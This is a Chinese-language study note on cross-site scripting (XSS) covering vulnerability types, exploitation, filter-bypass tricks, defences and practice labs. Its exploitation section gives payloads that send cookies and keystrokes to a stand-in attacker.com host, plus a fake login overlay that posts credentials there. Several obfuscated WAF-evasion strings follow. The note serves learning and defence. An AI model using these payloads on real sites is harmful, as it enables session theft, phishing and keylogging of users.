xss漏洞
XSS漏洞学习笔记
1. XSS漏洞基础
1.1 定义
跨站脚本攻击(Cross-Site Scripting,XSS)允许攻击者将恶意脚本注入到网页中,当其他用户访问时触发脚本执行,常用于窃取用户会话(Cookie)、钓鱼攻击、键盘记录等。
1.2 漏洞成因
-
未过滤用户输入:用户输入的数据被直接输出到页面。
-
输出未编码:动态生成的页面未对特殊字符(如
<
,>
,&
)进行转义。
2. XSS分类
2.1 反射型XSS(Reflected XSS)
-
特点:恶意脚本通过URL参数注入,受害者点击构造的链接触发。
-
场景:搜索框、错误页面等直接返回用户输入的内容。
-
示例:
http://example.com/search?q=<script>alert(1)</script>
2.2 存储型XSS(Stored XSS)
-
特点:恶意脚本存储到服务器(如数据库),页面每次加载时自动执行。
-
场景:留言板、用户昵称、文章评论等持久化数据的位置。
-
示例:
html
用户留言:<script>stealCookie()</script>
运行 HTML
2.3 DOM型XSS(DOM-based XSS)
-
特点:漏洞由前端JavaScript动态操作DOM引发,不依赖服务器响应。
-
场景:通过
document.location
、window.name
等获取参数并输出到页面。 -
示例:
javascript
// 假设页面代码: document.write("<div>" + location.hash.slice(1) + "</div>"); // 攻击URL: http://example.com#<img src=x οnerrοr=alert(1)>
3. XSS利用方式
3.1 窃取Cookie
-
Payload:
html
<script>fetch('http://attacker.com/?cookie='+document.cookie)</script>
运行 HTML
3.2 钓鱼攻击
-
Payload:
html
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white"> <h1>系统升级,请重新登录:</h1> <form action="http://attacker.com/steal" method="POST"> <input type="text" name="username"> <input type="password" name="password"> </form> </div>
运行 HTML
3.3 键盘记录
-
Payload:
javascript
document.addEventListener('keypress', (e) => { fetch('http://attacker.com/log?key=' + e.key); });
3.4 绕过CSP(Content Security Policy)
-
利用外部域名:若CSP允许
unsafe-inline
或特定域名,引入外部脚本:html
<script src="http://attacker.com/malicious.js"></script>
运行 HTML
-
JSONP劫持:利用网站开放的JSONP接口窃取数据。
4. XSS绕过技巧
4.1 基础绕过
-
闭合标签:
html
"><script>alert(1)</script>
运行 HTML
-
事件处理器:
html
<img src=x οnerrοr=alert(1)> <svg/οnlοad=alert(1)>
运行 HTML
-
伪协议:
html
<a href="javascript:alert(1)">点击</a>
运行 HTML
4.2 编码混淆
-
HTML实体编码:
html
<img src=x οnerrοr="alert(1)">
运行 HTML
-
Unicode编码:
javascript
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
-
Base64编码(需配合
data:
协议):html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
运行 HTML
4.3 绕过WAF/过滤器
-
拆分关键字:
javascript
<scr<script>ipt>alert(1)</scr</script>ipt>
-
利用JavaScript函数:
javascript
eval('al' + 'ert(1)'); String.fromCharCode(97,108,101,114,116,40,49,41); // alert(1)
-
利用HTML标签属性:
html
<input type="text" value="" autofocus οnfοcus=alert(1)>
运行 HTML
4.4 高级绕过技巧
-
模板字符串注入(针对Node.js应用):
javascript
`${alert(1)}`
-
Shadow DOM:
html
<div><template shadowroot="open"><script>alert(1)</script></template></div>
运行 HTML
-
Service Worker劫持:
javascript
navigator.serviceWorker.register('malicious-sw.js');
5. XSS防御方案
5.1 输入验证与过滤
-
白名单过滤:仅允许特定字符(如字母、数字)。
-
黑名单过滤:删除或转义
<
,>
,&
,"
,'
等危险字符。
5.2 输出编码
-
HTML实体编码:将
<
转为<
,>
转为>
。 -
JavaScript编码:使用
\xHH
或\uXXXX
编码特殊字符。
5.3 安全HTTP头
-
Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
-
HttpOnly Cookie:防止JavaScript读取敏感Cookie。
5.4 框架安全特性
-
React:自动转义JSX中的变量(除非使用
dangerouslySetInnerHTML
)。 -
Vue:
{{ data }}
默认转义,v-html
需谨慎使用。
6. 测试工具与资源
6.1 工具
-
Burp Suite:拦截和修改HTTP请求,测试XSS Payload。
-
XSS Hunter:自动化检测XSS漏洞并收集数据。
-
BeEF(Browser Exploitation Framework):浏览器攻击框架。
6.2 靶场推荐
-
PortSwigger XSS Labs:系统化XSS练习环境。
-
DVWA(Damn Vulnerable Web Application)。
-
XSS Challenges(如printenv at xss-quiz.int21h.jp)。